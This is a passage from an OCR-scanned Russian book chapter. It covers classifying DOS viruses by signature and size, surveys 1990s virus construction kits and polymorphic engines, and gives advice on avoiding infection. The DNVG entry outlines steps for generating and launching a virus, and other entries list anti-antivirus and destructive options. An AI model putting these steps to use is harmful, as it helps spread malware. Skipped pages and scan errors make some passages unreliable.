сигнатура, соответствующая участку, содержащему команды, надежнее сигнатуры участка, содержащего данные, например, текстовые строки (по следние могут быть модифицированы). Поэтому выбор сигнатуры целесообразно выполнять на основе анализа дизассемблированного кода вируса. Длина сигнатуры не должна быть слишком большой, поскольку длинную сигнатуру труднее правиль но набить вручную. В то же время при недостаточной длине или выборе нехарактер ных участков кода сигнатура будет вызывать много ложных срабатываний, что весьма нежелательно. Правильная сигнатура не должна содержаться ни в одной из наиболее распространенных в MS DOS системных программ, включая, конечно, са ми компоненты MS DOS. Таким образом, для выбора отвечающей указанным требо ваниям сигнатуры необходим ряд экспериментов, а сами сигнатуры могут являться предметом сравнения и анализа. В настоящее время имеется ряд программ, обеспечивающих детектирование вирусов путем поиска в файлах соответствующих строк, и, используемые в них сиг натуры, естественно "принять за основу". Наибольшую ценность представляют стро ки, используемые в известном зарубежном детекторе SCAN фирмы McAfee Associates (США), поскольку новые версии этого детектора появляются регулярно и охватывают практически все вирусы, появляющиеся за рубежом. Из других зарубеж ных детекторов следует отметить VIRSCAN фирмы IBM и TNTVIRUS фирмы CARMEL (Израиль). Для определенности назовем строку, используемую SCAN, М-
322
Технология создания вирусов
323
Технология создания вирусов ют типы файлов, заражаемых данным вирусом. Например, если резидентный вирус за ражает СОМ- и ЕХЕ-файлы, то его классификационный код будет иметь префикс RCE.
Количественная характеристика К наблюдаемым непосредственно объективным свойствам файловых вирусов прежде всего относится приращение длины файлов при заражении. Это приращение, обусловленное наличием вируса, можно использовать для определения его типа. Здесь есть две основные проблемы. Во-первых, величина приращения может варьи роваться в зависимости от длины заражаемого файла (многие вирусы, при дописыва нии своего кода в конец заражаемого файла, выравнивают свое тело на ближайший адрес, кратный 16, т.е. на границу параграфа). Во-вторых, величина приращения мо жет не совпадать для СОМ-файлов и ЕХЕ-файлов. Поэтому, в качестве количествен ной характеристики необходимо использовать нормированное приращение, определяемое по следующим правилам. 1. Для вирусов с префиксом С и СЕ (RC, RCE) характеристика классификационно го кода принимается равной минимальному приращению длины зараженного СОМ (для вирусов типа С и СЕ) или ЕХЕ (для вирусов типа Е) файла. 2. Для вирусов, не изменяющих длины файла, указывается ноль, а через "тире" дей ствительная длина тела вируса, например RC-0-346. 3. Для вирусов, маскирующих увеличение длины файла на зараженной машине к ха рактеристике, определенной по правилам п.1, слева добавляется незначащий ноль (например, RCE-02000). Отметим, что предложенный в п. 1 подход позволяет исключить влияние вы равнивания на границу параграфа для вирусов, выравнивающих свое тело указан ным способом. Кроме того, для вирусов, изменяющих приращение случайным образом, например, путем подгонки его до величины кратной 51, минимальное при ращение также позволяет исключить влияние вставляемых байтов (этот случай мож но рассматривать как разновидность выравнивания). И наконец, для вирусов, многократно заражающих один и тот же файл, использование минимального прира щения позволяет исключить влияние многократного заражения. Для определения указанной характеристики не требуется проведение экспе риментов по заражению файлов с такой длиной. Ее достаточно просто определить, сопоставив приращения длин двух или более зараженных файлов типа СОМ. Чаще всего файловые вирусы заражают командный процессор MS DOS (файл COM MAND.COM) и программы, вызываемые в файле AUTOEXEC.BAT. При анализе не скольких зараженных файлов возможны два наиболее типичных (хотя и не единственно возможных) случая. Если приращения длин двух или более зараженных файлов совпадают, а остат ки от деления длин исходных файлов на 16 отличны друг от друга, то скорее всего ви рус не выполняет выравнивание своего кода на границу параграфа и полученное приращение является характеристикой данного вируса. Если приращения отличны, то скорее всего вирус выполняет выравнивание своего тела на границу параграфа, и ха рактеристику L данного вируса можно получить по формуле L = D - (16-mod(LEN, 16)),
324
Технология создания вирусов т.е. путем вычитания из полученного приращения (D) дополнения (до 16) остатка от деления исходной длины файла на 16. Например, файл COMMAND.COM, который )айловые вирусы обычно поражают в числе первых, в наиболее распространенной в настоящее время версии MS DOS 3.3 обычно имеет длину 25307. При этом mod(25307,16)-ll, т.е. остаток от деления 25307 на 16равен 11. Очевидно, что дополнение до 16 равно 5 и для выравнивания на границу па раграфа требуется вставка пяти дополнительных байтов. В этом случае характерис тика вируса будет на 5 меньше, чем приращение длины файла COMMAND.COM. Достоинством принятого подхода является то, что за редким исключением (напри мер, вирус RCE-1813), определенная таким образом числовая характеристика совпа дает с длиной кода вируса. В качестве количественной характеристики классификационного кода могут применяться и другие параметры. На них стоит кратко остановиться, поскольку ис пользованные в них подходы будут безусловно открываться и переоткрываться други ми авторами. По-видимому, наиболее распространенными можно считать следующие два подхода. 1. Использование в качестве количественной характеристики длины кода вируса, оп ределенной по константе, содержащейся во фрагменте, который обеспечивает до писывание кода вируса в заражаемый файл (эту константу можно сравнительно легко определить, анализируя дизассемблированный код вируса). Такая характе ристика является объективной, поэтому ее часто используют разработчики анти вирусных программ, достаточно хорошо владеющие языком ассемблера. Однако определенная таким образом характеристика в ряде случаев не совпадает с наблю даемым значением приращения длин файлов, что снижает ее ценность с точки зрения использования при попытке классификации пользователем, не владеющим языком ассемблера, нового, еще неизвестного ему вируса. Например, для упомя нутого выше иерусалимского вируса длина кода вируса составляет 1808 байт, а приращение длины при заражении файлов типа СОМ — 1813 байтов, что объяс няется дополнительным дописыванием в конец зараженного файла типа СОМ пя тибайтовой константы "MsDos" (используется как признак зараженности файла). 2. Использование в качестве количественной характеристики приращения длины ка кого-то конкретного файла, полученного в результате его заражения. В ранних ре дакциях данной работы автор использовал этот подход, причем в качестве эталонного был выбран файл COMMAND.COM версии 3.3 MS DOS. Этот дейст вительно удобный подход утратил свою привлекательность с появлением ряда ви русов, не заражающих командный процессор, а также распространением версии 4.0 MS DOS, в которой длина файла COMMAND.COM составляет 37637.
Суффикс Возможны случаи, когда два разных вируса или два штамма одного и того же ируса имеют одинаковые префикс и характеристику. В этом случае, для того, чтобы получить уникальные классификационные коды вирусов, будем использовать в каче стве суффикса одну букву. Например, в коде RC-1704f буква f означает "штамм-f". в
325
Технология создания вирусов При этом буква "G" резервируется за так называемыми группами вирусов, о которых сказано выше.
Сигнатура файлового вируса Как уже указывалось, для сигнатур целесообразно использовать шестнадца тиричные строки, соответствующие характерным последовательностям команд в те ле вируса. Расположение сигнатур подчиняется правилу: если сигнатура М входит в сигнатуру V, то она приводится после сигнатуры V. Как уже указывалось в предыду щей части, сигнатуры Т существуют не для всех файловых вирусов. Одной из наибо лее удобных сигнатур для файловых вирусов являются J-сигнатуры. Их можно очень быстро определить с помощью любого отладчика (DEBUG, Turbo Debugger, AFD и т.д.). Пользователи, не умеющие работать с отладчиками, могут использовать для оп ределения J-сигнатур программу, входящую в пакет VL.
Классификация бутовых вирусов Как и для файловых вирусов, будем выделять группы бутовых вирусов, а для каждого отдельного вируса — классификационный код, дескриптор и сигнатуры. Классификационный код бутового вируса состоит из префикса и количест венной характеристики. Префикс Поскольку все бутовые вирусы являются резидентными, использование сим вола R в префиксе их классификационного кода нецелесообразно. Наиболее важным свойством бутовых вирусов, сопоставимым по значению с резидентностью файло вых вирусов, является способность некоторых бутовых вирусов сохраняться в памя ти после "мягкой" перезагрузки путем нажатия последовательности клавиш Ctrl-Alt-Del. Это свойство мы будем обозначать буквой W (survive Warm reboot) в префиксе. Все бутовые вирусы заражают дискеты, однако некоторые из них заража ют винчестер, а другие нет. Вирусы, инфицирующие только дискеты (Brain, Den Zuk), будем обозначать префиксом D. При заражении бутсектора возможны два случая: заражение бутсектора раз дела С винчестера (префикс В) и заражение MBR-исполняемой части таблицы раз делов (префикс М). Поскольку одним из наиболее распространенных случаев расположения хвоста бутового вируса является его расположение в псевдосбойных кластерах (что легко определить, просмотрев их содержимое с помощью Norton Utilities), то для таких вирусов в суффикс будем включать букву х, за которой следу ет количество этих кластеров, например Bxl. Количественная характеристика бутового вируса. Выбор количественной ха рактеристики для бутовых вирусов имеет определенную специфику: если для файло вых вирусов наиболее характерным признаком заражения является увеличение длины файла, то для бутовых вирусов аналогичную роль играет уменьшение размеров опе ративной памяти, доступной для MS DOS. Однако, как указывалось выше, важным требованием к выбору свойств вируса, используемых для классификации, является возможность их определения на незараженной машине. Объем оперативной памяти, сообщаемый MS DOS, этому критерию не отвечает. Количество блоков памяти, ис-
326
Технология создания вирусов пользуемых бутовым вирусом, этому критерию не отвечает, поэтому от этой характе ристики пришлось отказаться. Было решено использовать другую "доступную для обозрения" характеристику бутового вируса — содержимое зараженного бутсектора (точнее первых его байтов). Вместе с тем, анализ объема памяти, сообщаемого MS DOS, является очень полезным диагностическим приемом, и при подозрении на заражение тем или иным вирусом, вызов программы CHKDSK, сообщающей это зна чение (а также ряд других полезных сведений, включая объем памяти, занятый на диске сбойными кластерами), целесообразно вставлять в файл AUTOEXEC.BAT. В качестве характеристики выбрано значение второго байта зараженного бут сектора, поскольку его содержимое различно для известных автору бутовых вирусов. В то же время содержимое этого байта записывается в 16-ричной системе счисления, что создает определенную несогласованность с характеристикой файловых вирусов, являющейся десятичным числом. Именно поэтому в предлагаемом варианте класси фикационного кода вируса префикс и характеристика разделяются знаком "-" (минус). Следует еще раз подчеркнуть, что просматривать содержимое бутсектора следует только предварительно загрузившись с защищенной от записи резервной дискеты с операционной системой и требуемыми антивирусными программами, по скольку сама операция просмотра на зараженной машине может либо перехватывать ся вирусом для подстановки "чистого" бутсектора (так, например, маскируется вирус Brain), либо, что еще хуже, служить триггером для каких-то несанкционированных действий. Следует использовать так называемую "холодную" перезагрузку (с помо щью клавиши RESET, если она есть, или путем выключения питания, если ее нет), а не "теплую" перезагрузку {нажатием клавиш CTRL-ALT-DEL). Это требование осно вано на том факте, что ряд бутовых вирусов перехватывает прерывание от клавиату ры и при "теплой" перезагрузке MS DOS сохраняет себя в памяти, даже если перезагрузка идет с защищенной системной дискеты.
Сигнатура бутового вируса Для бутовых вирусов сигнатуры М, I и В будут использоваться аналогично тому, как это было для файловых вирусов, а J-сигнатура — в несколько измененном виде. В отличие от J-сигнатуры для файловых вирусов, в которой байты, соответст вовавшие команде перехода, не учитывались, здесь они будут учитываться. Это свя зано с тем, что первой командой бутсектора всегда является команда обхода таблицы параметров диска, размер которой, в отличие от размера заражаемого файла, не меня ется. Поэтому для бутовых вирусов мы преимущественно будем использовать J-сигнатуру, состоящую из первых трех байтов бутсектора и лишь при необходимос ти дополнять ее, начиная с байта, на который выполняется команда перехода. Для незараженного бутсектора MS DOS версии 3.3 J-сигнатура равна EB3490h (объектный код команды JMP, служащий для обхода таблицы параметров). Ценность этой эталонной J-сигнатуры состоит в том, что она легко запоминается. Поэтому несовпадение первых трех байтов анализируемого бутсектора с указанной эталонной J-сигнатурой свидетельствует о зараженности бутсектора (отметим, что ; совпадение еще ни о чем не говорит).
327
Технология создания вирусов
Конструкторы вирусов Конструктор вирусов — это утилита, предназначенная для изготовления но вых компьютерных вирусов. Известны конструкторы вирусов для DOS, Windows и макро-вирусов. Они позволяют генерировать исходные тексты вирусов (ASM-файлы), объектные модули, и/или непосредственно зараженные файлы. Некоторые кон структоры (VLC, NRLG) снабжены стандартным оконным интерфейсом, где при помощи системы меню можно выбрать тип вируса, поражаемые объекты (СОМ и/или ЕХЕ), наличие или отсутствие самошифровки, противодействие отладчику, внутренние текстовые строки, выбрать эффекты, сопровождающие работу вируса и т.п. Прочие конструкторы (PS-MPC, G2) не имеют интерфейса и считывают инфор мацию о типе вируса из конфигурационного файла.
Полиморфные генераторы Полиморфик-генераторы, как и конструкторы вирусов, не являются вирусами в прямом смысле этого слова, поскольку в их алгоритм не закладываются функции размножения, т.е. открытия, закрытия и записи в файлы, чтение и записи секторов и т.д. Главной функцией подобного рода программ является шифрование тела вируса и генерация соответствующего расшифровщика. Обычно полиморфные генераторы распространяются их авторами без ограничений в виде файла-архива. Основным файлом в архиве любого генератора является объектный модуль, содержащий этот генератор. Во всех встречающихся генераторах этот модуль содержит внешнюю (external) функцию — вызов программы генератора. <ВЮ>Таким образом автору ви руса, если он желает создать настоящий полиморфик-вирус, не приходится корпеть над кодами собственного за/расшифровщика. При желании он может подключить к своему вирусу любой известный полиморфик-генератор и вызывать его из кодов ви руса. Физически это достигается следующим образом: объектный файл вируса лин куется с объектным файлом генератора, а в исходный текст вируса перед командами его записи в файл вставляется вызов полиморфик-генератора, который создает коды расшифровщика и шифрует тело вируса.
Virus Creation Laboratory Автор: [NuKE] USA VCL известен как первый в мире вирусный конструктор. Вышел в свет в кон це лета 1992 года. Его появлению мы обязаны товарищу Nowhere Man, члену одной из самых громких и амбициозных вирусных групп — NuKE, большая часть которой располагалась в USA. Помимо того, что этот конструктор был первым, он имел не сколько замечательных черт, таких как: •
Дистрибутив поставляется с неплохим инсталлятором и подробной документа цией и примерами использования. Также устанавливается .pif и .ico файлы для MS Windows.
•
Дружественный пользовательский интерфейс, по типу TurboVision сред (а 1а Borland). Наличие контекстной подсказки и поддержка мышки. Автор даже ут верждает, что его среда является CUA-совместимой.
328
Технология создания вирусов
329
Технология создания вирусов пустила свою версию вирусного конструктора известного как PS-MPS. Автором яв ляется Dark Angel (один их активистов P/S). PS-MPS является намного более мощным и качественным продуктом, неже ли VLC. Одной из его отличительных черт является полное отсутствие красивого ин терфейса. Идеология P/S 'Настоящий профессионал работает с командной строкой'. Конфигурация создаваемого вирусного кода задается посредством текстового конфи гурационного файла. С помощью PS-MPC можно создавать полноценные вирусы со следующими свойствами: 1. 2. 3. 4. 5. 6. 7. 8. 9.
Поражение СОМ и ЕХЕ файлов. Резидентный и нерезидентный код. Два разных алгоритма обхода для нерезидентных вирусов. Три способа размещения в памяти резидентного кода. Исключение COMMAND.COM из поражаемых файлов. Генерируемый обработчик критических ошибок. Случайно генерируемый алгоритм шифрования кода вируса. Компактный, чуть лучше (чем в VCE) оптимизированный код. Исходники замечательно откомментированы. Сам по себе PS-MPS не генерирует каких-либо деструктивных функций, но предоставляет очень понятный и отлично откомментированный код, так что понима ние и изменение вирусного кода не представляет никакого труда. PS-MPS оказался гораздо более продуктивным инструментом нежели VCL, С его помощью было со здано несколько сотен вирусов и многие из них имели широкое хождение. После то го, как Aristotle (NuKE) выпустил Metric Buttload of Code Generator, генерировавший десятки слегка модифицированных PS-MPC вирусов, количество таких вирусов вы росло еще больше. Примечательной особенностью этого конструктора было то, что он распрост ранялся в исходных кодах (Turbo С), что было побуждением для многих авторов вы пустить свои, измененные версии компилятора. Это привело к еще большему увеличению числа вирусов, произведенных с помощью этого компилятора. Известные мне на данный момент версии: PS-MPC 0.90beta : Июль I992 PS-MPC 0.91 beta : Август 1992 G2 Автор: [Phalcon/SKISM] USA/Canada Судя по всему, Dark Angel остался недоволен своим детищем PS-MPC, посе му он вскоре выпустил другой компилятор — G2 или G в квадрате, что является "аб бревиатурой" от Second Generation in virus creation. G2 в работе очень напоминает PS-MPC, но на самом деле он более мощный инструмент в создании вирусного кода. Dark Angel вынес логику генерации кода во
330
Технология создания вирусов внешний файл G2.DAT и декларировал, что будет выпускать новые версии G2 путем замены этого файла на новый. К сожалению, мне неизвестны усовершенствованные варианты G2.DAT. Отличительная черта G2 — это встроенный модификатор кода, позволяющий при каждом запуске компилятора создавать слегка отличающийся код. G2 совместим снизу вверх с PS-MPC по формату конфигурационных файлов. С по мощью G2 создано несколько десятков реальных вирусов. Известные мне на данный момент версии: G2 0.70В : Январь 1993 Biological Warfare Автор: MnemoniX (USA) Другим хорошим вирусным конструктором являлся Biological Warfare, также известного как BW. BW, как и все вирус-компиляторы генерировал исходный код (разумеется, ассемблер) вируса в соответствии со спецификациями, заданными пользователем. Задание опций генерации происходит интерактивно — в виде вопро сов/ответов. Генерируемые вирусы имеют следующие характеристики: 1. Резидентные / не резидентные. 2. 3. 4. 5. 6. 7. 8.
Поражение EXE/СОМ файлов. Шифрование — как простое так и с помощью BWME (см.ниже). Анти-трассировочные приемы. Поражение COMMAND.COM — опционально. Обработчик Int24 (критической ошибки DOS). Два уровня Stealth. Способ обхода каталогов, проверка оверлеев, и т.д. С компилятором поставляется Biological Warfare Mutation Engine неболь шой (609 байтовый)полиморфный генератор, что несколько затрудняет обнаруже на вирусов. Опять же если кто-то не знает пароля t
'color=#0033fffrea'. Известные мне на данный момент версии: BW 0.90beta : Апрель 1994 BW 1.00 : Июль 1994
NuKE Randomic Life Generator Автор: Azrael/NuKE (Argentina) Очередное произведение неутомимых тружеников группы NuKE — новый ге нератор вирусов NRGL. Выполненный в лучших традициях инструментов NuKE — с красочной IDE, с разнообразными видеоэффектами, этот компилятор тем не менее не пользовался большой популярностью среди вирусного сообщества, хотя и извест ны несколько десятков NRGL-вирусов.
331
Технология создания вирусов Компилятор позволяет задать набор свойств вируса, среди которых проти водействие резидентным антивирусам, уничтожение файлов контрольных сумм, процедуру шифровки/дешифровки. Помимо этого NRGL предлагает набор дест руктивных функций, которые можно внедрить в код создаваемого вируса, таких как уничтожение MBR, файлов и случайных секторов. Код, генерируемый NRGL не отличается читаемостью, хотя человек, неплохо знающий ассемблер, может в нем разобраться. Известные мне на данный момент версии: NRLG 0.66beta : Июнь 1994
Virus Construction Set Автор: Verband Deutscher Virenliebhaber (Grm) Если Virus Construction Lab группы NuKE был первой успешной попыткой создать вирусный компилятор, то программа VCS является самой первой попыткой создать программу для создания вирусного кода. Выпущенная в конце 1990 года группой, название которой переводится как "Ассоциация Любителей Вирусов", VCS не отличается особой изощренностью. VCS запрашивает текст, появляющийся в теле вируса и количество поколений вируса, по сле которого наступает активация. Затем VCS создает файл Virus.Com, содержащий вирусный код. Вирусы, созданные этим компилятором, имеют одинаковые характе ристики : 1. Поражение только СОМ-файлов. 2. Количество поражаемых файлов фиксировано. 3. Алгоритм активации: уничтожение Autoexec.bat и Config.sys и вывод заданного при генерации текста. 4. Единственной "изюминкой" конструктора является наличие в создаваемых виру сах средств маскировки под антивирусом FluShot. Тем не менее, известно не сколько VCS-вирусов. Известные мне на данный момент версии: VCS English: 1990/91 VCS German : 1990/91
Virus Creation 2000 Автор: Havoc The Chaos (USA) The Virus Creation 2000 System, сокращенно называемая VC2000 довольно не плохая система генерации вирусного кода. Распространяется в виде одного файла размером около 25К. Перед созданием вируса необходимо специфицировать его свойства, такие как: 1. 2. 3. 4.
Резидентно сть/нерезидентность. Дописывание или записывание поверх кода жертвы. Проверка внутренней структуры поражаемых файлов. Проверка размеров СОМ-файлов.
332
Технология
создания
в и р у с о е
5. Буферизация DTA-области на время поиска. 6. Метод поиска жертв. 7. Обработка Int24. 8. Содержит атн и-антивирусный код: блокирует клавиатуру при попытке трассировки кода; обходит ThunderBYTE TBClean; завешивает Turbo Debugger; противодействие ThunderBYTE TBSCANX; код для борьбы с F-Prot. Примечательно, что вместе с вирусом может быть сгенерирован код опреде ления наличия генерируемого вируса в памяти. Для удобства работы при генерации ассемблерного кода также генерируется и пакетный файл MAKEVIR.BAT продуци рующий двоичный код вируса. Известные мне на данный момент версии: VC2000 0.95: не распространялась&пЬзр; VC2000 0.96: Декабрь 1993 VC2000 0.97: Январь 1994 VICE ('Virogen's Irregular Code Engine') VICE (Virogen's Irregular Code Engine) — это очередной полиморфик-генератор, см. MtE и ТРЕ. Существуют несколько версий генератора, они содержат строки[VICEv0.1c,by_irogen] {VICE v0.2c, by Jrogen [NuKE]} {ViCE v0.3c, by Jrogen [NuKE]} [_iCEv0.5, by_iro Несколько вирусов на базе VICE распространяются вместе с самим генерато ром. Это неопасные резидентные вирусы. Они перехватывают INT 2lh и записыва ются вконец запускаемых СОМ- и ЕХЕ-файлов.
Amber Конструктор Amber. Создан в 1996 году. Автор неизвестен, возможно Reminder[DVC]. Полиморфный генератор шифровщиков и расшифровщиков Amber — генератор полиморфных вирусов. Содержит текст: Amberl 07(#)beta
IVP ('Instant Virus Production Kit1) IVP ('INSTANT VIRUS PRODUCTION KIT') является утилитой для создания вирусов IVP генерирует исходные ассемблерные тексты вирусов различных типов характеристики которых описываются в конфигурационном файле. К таким характе ристикам относятся: 1. Заражение СОМ, ЕХЕ или обоих типов. 2. Самошифрующийся вирус или нет.
333
Технология создания вирусов 3. Перехват INT 24h или нет. 4. Заражение COMMAND.COM. 5. Встроенные эффекты и т.д. Генератор IVP в значительной степени повторяет генератор PS-MPS и, скорее всего, является его уменьшенной версией. MME(MiMe) Автор : Youngsters Against McAffe (USA) MME (MiMe) является очередным полиморфик-генератором. "MME.WhoNoName" — опасный нерезидентный вирус. При запуске ищет .СОМфайлы и записывается в их конец. Часто зараженные файлы виснут при исполнении. Вирус содержит строки:
Конструктор ТРЕ Автор: Masud Khafir. Trident Polimorphic Engine ТРЕ — это генератор полиморфик-вирусов, как и генератор MtE. Существу ют несколько версий генератора ТРЕ. Они содержат строки:
Ше Автор: MadManiac (Bulgaria). MtE (MuTation Engine) является первым известным полиморфик-генерато ром. Выпущен в 1991 году и по тем временам являлся наиболее сложным полиморфик-вирусом. В результате работы полиморфик-алгоритма в расшифровщике вируса могут встретиться операции SUB, ADD, XOR, ROR, ROL в произвольном количест ве и порядке. Загрузка и изменение ключей и других параметров шифровки произво дится также произвольным набором операций, в котором могут встретиться более половины инструкций процессора 8086 (ADD, SUB, TEST, XOR, OR, SHR, SHL, ROR, MOV, XCHG, JNZ, PUSH,POP ...) со всеми возможными режимами адресации. Содержат текст: "MtE0.90".
334
г
Технология создания вирусов Bizatch ABTop:Quantum /VLAD.rQuantum /VLAD Создан в 1996 г. Первый конструктор для Win'95-вирусов. Использует язык C++. При егр по мощи создан вирус Bizatch.Win95.Boza Описания нет. СРЕ-АРЕ Автор: Петр Деменюк (Москва). Он же создатель вируса РМ.Wanderer. Создан в 1994г. Генератор зашифрованных-полиморфик-вирусов. Генерирует 50 файлов. Описания нет. RTFM Автор: Rajaat.Rajaat's Tiny Flexible Mutator. Создан в 1994 г. Объектный модуль линкуется с исходником вашего вируса, в результате получается зашифрованный полиморфик-вирус. Содержит стро ку [RTFM]. Описания нет. Конструктор UCF (ТСНК) Автор: Stinger/VIPER. Trojan Horse Construction Kit. Конструктор троянских вирусов. Создан в 1992 г. При его помощи собраны вирусы: UCF.a, UCF.Syktyvkar. Содержит три файла: thck-fp.exe — обрезает файлы доопределенного размера. thck-tbc.exe — создает троянский вирус UCF.a hck-tc.exe — создает троянский вирус UCF.Syktyvkar Описания нет. Конструктор TSR-TB Автор: HellFire. Конструктор троянских вирусов и TSR-бомб, с большим количеством опций. Описания нет. Конструктор VLC Авторы: Trixter & White Cracker. Virus Lab Creations. Конструктор вирусов на языке C++. Создан 03-03-1995 г. Большое количество опций. Описания нет.
335
Технология создания вирусов DNVG (Dirty Nazi Virus Generator) Автор: Dirty Nazi (SGWW)Ukr Конструктор вирусов на Паскале. Штаммы, созданные этим генератором, не будут опознаваться Вебом как DNVG.based. Используется один простой, но очень действенный анти-эвристический при ем — компилятор tpc.exe фирмы Borland — ни на один штамм Веб не кричит "воз можно инфицирован...". Как писал Russian Bear в вирусе Tchechen — "А ну-ка поймай все штаммы!" Работает очень просто. Запускаете DNVG.EXE, отвечаете на несколько во просов и в текущем каталоге получаете исходник вашего вируса PROJECT.PAS. Для того, чтобы он заработал, достаточно его откомпилировать, перемувить в каталог с любой ЕХЕ-программой-жертвой и запустить. При запуске оригинального откомпи лированного исходника в ДОС система зависнет, в ДОС сессии Windows — закроет ся ДОС сессия с сообщением об ошибке — это нормальная реакция вируса на то, что его запустили не с дрозофилы, а в чистом виде. Перезагружаете компьютер или пе реоткрываете ДОС-сессию, удаляете откомпилированный оригинал, который безна дежно испорчен. Теперь в качестве дрозофилы Вам будет служить программа, которую Вы выбрали жертвой. Технические характеристики получаемого вируса: Длина откомпилированного ЕХЕ-файла — около 5кб. Инфицирует ЕХЕ-файлы в текущем каталоге, за сеанс работы может инфицировать от 1 до 9 файлов по же ланию автора. Имеется проверка на повторное заражение. Тестировался в ДОСе и в ДОС сессии Windows 3.11, работает успешно. Под Win95 не тестировал. Имеет про верку на повторное заражение. -Я встречал переделанные сгенерированные исходни ки (видимо народное творчество), где зараженный файл удалялся после 10 запусков. Оригинал не имеет никакой умышленной деструкции и спецэффектов. Это только ЕХЕ- в текущем каталоге, но в дальнейшем автор планирует доба вить .СОМ, поиск по дискам и прочие навороты.
336
Методы защиты Типичные ошибки "зараженных" пользователей Как уже указывалось, самой грубой и распространенной ошибкой при исполь зовании персональных компьютеров является отсутствие надлежащей системы архи вирования информации. Никакие средства защиты не заменят надлежащей организации ведения архивов. Другой грубой ошибкой является запуск полученной программы без ее предварительного анализа на зараженность и без установки макси мального режима защиты винчестера с помощью ADM и запуска резидентного сторо жа. Запуск программы является в современных условиях далеко небезопасной операцией и рисковать содержимым винчестера из-за чрезмерного любопытства, на верное, не стоит. Следует также обратить внимание на ситуацию, характерную для школ и вузов. Поскольку у студентов обычно мало дискет, то им приходится запускать отдельные программы (например, игровые) с дискет своих товарищей. Эта ситуация особенно характерна для вузовских "залов персональных ЭВМ". При этом может про изойти заражение одной из программ или ВООТ-сектора, если соответствующий ком пьютер оказался зараженным. Поэтому следует всегда защищать дискеты от записи, если они используются для считывания программ на нескольких компьютерах. Сни мать защиту от записи стоит только на время, необходимое для обновления содержи мого дискеты. Новые программы по возможности следует записывать на новые дискеты, не смешивая их сразу со старыми, проверенными программами. При неправильном или неумелом использовании, антивирусные программы могут сами в ряде случаев становиться источником проблем. Имеется несколько ти пичных ошибок при применении антивирусных средств. Наиболее распространен ной из них является запуск антивирусных программ (чаще всего, фагов) на зараженном резидентным вирусом компьютере. Конечно, сейчас создатели большин ства качественных антивирусных средств предусматривают такую возможность и анализируют память компьютера перед началом работы, однако такая методика эф фективна, в основном, против уже известных вирусов и может не сработать на какомто новом. Поэтому следует особо подчеркнуть основной "гигиенический" принцип компьютерной вирусологии: ВСЕ ДЕЙСТВИЯ ПО ИССЛЕДОВАНИЮ "ПОДОЗРИТЕЛЬНОГО" ИЛИ ЗА РАЖЕННОГО КОМПЬЮТЕРА СЛЕДУЕТ ВЫПОЛНЯТЬ ТОЛЬКО НА ПРЕДВАРИ ТЕЛЬНО ЗАГРУЖЕННОЙ С ЗАЩИЩЕННОЙ ОТ ЗАПИСИ ЭТАЛОННОЙ ОПЕРАЦИОННОЙ СИСТЕМЫ И ИСПОЛЬЗУЯ ТОЛЬКО ПРОГРАММЫ, ХРАНЯ ЩИЕСЯ НА ЗАЩИЩЕННЫХ ОТ ЗАПИСИ ДИСКЕТАХ. Выполнение действий по анализу и восстановлению на зараженной операци онной системе является грубой ошибкой и может иметь катастрофические последст, вия. В частности, при этом могут быть заражены остальные, еще незараженные,
337
Методы защиты программы. Например, при резидентном вирусе RCE-I800 (Dark Avenger) запуск фа га, не рассчитанного на данный вирус, приведет к заражению всех проверявшихся фагом загрузочных модулей, поскольку вирус RCE-1800 перехватывает прерывание по открытию и чтению файлов и при работе фага будет заражать каждый проверяе мый фагом файл. Второй типичной ошибкой является выполнение перезагрузки системы при наличии дискеты в дисководе А. При этом BIOS делает попытку загрузиться именно с этой дискеты, а не с винчестера и, в результате, если дискета заражена бутовым ви русом, происходит заражение винчестера. Третьей распространенной ошибкой является запуск "батареи" фагов. Оче видно, что прогон десяти фагов, предназначенных для вируса С-648, не излечит ни одного файла, зараженного, скажем, вирусом RCE-2890. В данном случае следует придерживаться принципа "лучше меньше, да лучше" и запускать средства защиты, предварительно определив, хотя бы ориентировочно, с каким типом вируса при шлось столкнуться. Обычно для определения типа вируса достаточно запустить ба тарею полидетекторов (которая может включать и фаги, настроенные на режим детектирования), а затем просмотреть дамп (с помощью PCTools или Norton Utilities) одной или нескольких зараженных программ. Четвертой типичной ошибкой является чрезмерная доверчивость к разработ чикам антивирусных средств. Хотя разработкой антивирусных средств обычно зани маются высококвалифицированные программисты, не следует думать, что созданные ими программы безупречны. Как и всякие программы, они содержат ошибки, причем ситуация усугубляется тем, что те их части, которые относятся к са мым новым вирусам и тем самым представляют наибольшую ценность, часто быва ют написаны наспех, в условиях острейшего дефицита времени. Поэтому следует считать, что на вашей системе выполняется отладка этих новых частей, которая как и всякая отладка, может иметь негативные последствия как для отдельных файлов, так и для файловой системы в целом. Если у вас нет свежего архива, то запуск лю бой антивирусной программы на всю файловую систему становится потенциально опасной операцией. Это относится прежде всего к фагам, выполняющим "хирурги ческое вмешательство" в программы. Известны случаи, когда фаг принимал один ви рус за другой и все "вылеченные" программы оказывались неработоспособными.
Оператор В качестве потенциальных виновников вирусного заражения можно, разуме ется, рассматривать всех лиц, имеющих доступ к ЭВМ. Сюда логично отнести всех, работающих на ЭВМ и, следовательно, достаточно хорошо с ней знакомых. Работодатель здесь стоит перед дилеммой: при поверхностной проверке слу жащих возрастает риск манипуляции над ПО и данными, а слишком дотошная про верка быстро вызывает недовольство, иногда даже протест. Так как сфера контроля и проверки подробно рассмотрена ранее, ограничимся здесь лишь общими положе ниями. Операторам больших ЭВМ известно, что даже с помощью самых хитроум-
338
Методы защиты ных блокировок нельзя предотвратить манипуляции. И самым слабым звеном в це почке безопасности, как всегда, является человек. В данном случае системный про граммист, которому ЭВМ отдается в полное распоряжение. Фактором риска меньше всего является обычные программисты или операто ры, так как эти лица не имеют права доступа для вмешательства в работу операцион ной системы. Создание программного модуля незарегистрированным пользователем скорее всего будет обнаружено. Но совершенно по-иному обстоит дело с системными программистами. На них держится система в целом. Нельзя ограничить привилегии доступа системного программиста, так как в противном случае он не сможет выполнять свои задачи. Это противоречие стало понятным владельцам ВЦ. Поэтому стараются поддерживать "хо рошее настроение" этих лиц, например, с помощью мотивационных бесед. Установ лено, что довольные служащие не только более работоспособны, но и более надежны.
